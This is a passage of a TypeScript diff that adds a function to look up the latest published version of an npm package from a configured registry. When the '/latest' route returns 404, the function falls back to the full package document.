625
+ };
626
+ }
627
+ }
628
+
629
+ function readVersion(data: VersionResponse | undefined): string | undefined {
630
+ return data?.version ?? data?.["dist-tags"]?.latest;
631
+ }
632
+
633
+ /** Fetch the latest published version of `packageName` from the configured registry. */
634
+ export async function fetchLatestPackageVersion(
635
+ packageName: string,
636
+ options: NpmRegistryLookupOptions = {},
637
+ ): Promise<LatestPackageVersion> {
638
+ const resolved = await resolveNpmRegistry(packageName, options);
639
+ // One deadline for the whole lookup, so the packument retry cannot double it.
640
+ const signal = AbortSignal.timeout(options.timeoutMs ?? DEFAULT_TIMEOUT_MS);
641
+
642
+ const latestUrl = buildRegistryPackageUrl(resolved.registry, packageName, "latest");
643
+ const latest = await requestJson(latestUrl, resolved, options, signal);
644
+ const version = readVersion(latest.data);
645
+ if (version) return { version, registry: resolved.registry, warnings: resolved.warnings };
646
+
647
+ // `/{pkg}/latest` is a registry-API convenience route; a mirror that only
648
+ // serves packuments — which is all the installer itself needs — 404s it.
649
+ if (latest.status === 404 || (!latest.failure && !version)) {
650
+ const packumentUrl = buildRegistryPackageUrl(resolved.registry, packageName);
651
+ const packument = await requestJson(packumentUrl, resolved, options, signal);
652
+ const fallback = readVersion(packument.data);
653
+ if (fallback) return { version: fallback, registry: resolved.registry, warnings: resolved.warnings };
654
+ throw new Error(
655
+ withWarnings(packument.failure ?? latest.failure ?? `${packumentUrl} returned no version`, resolved.warnings),
656
+ );
657
+ }
658
+
659
+ throw new Error(withWarnings(latest.failure ?? `${latestUrl} returned no version`, resolved.warnings));
660
+ }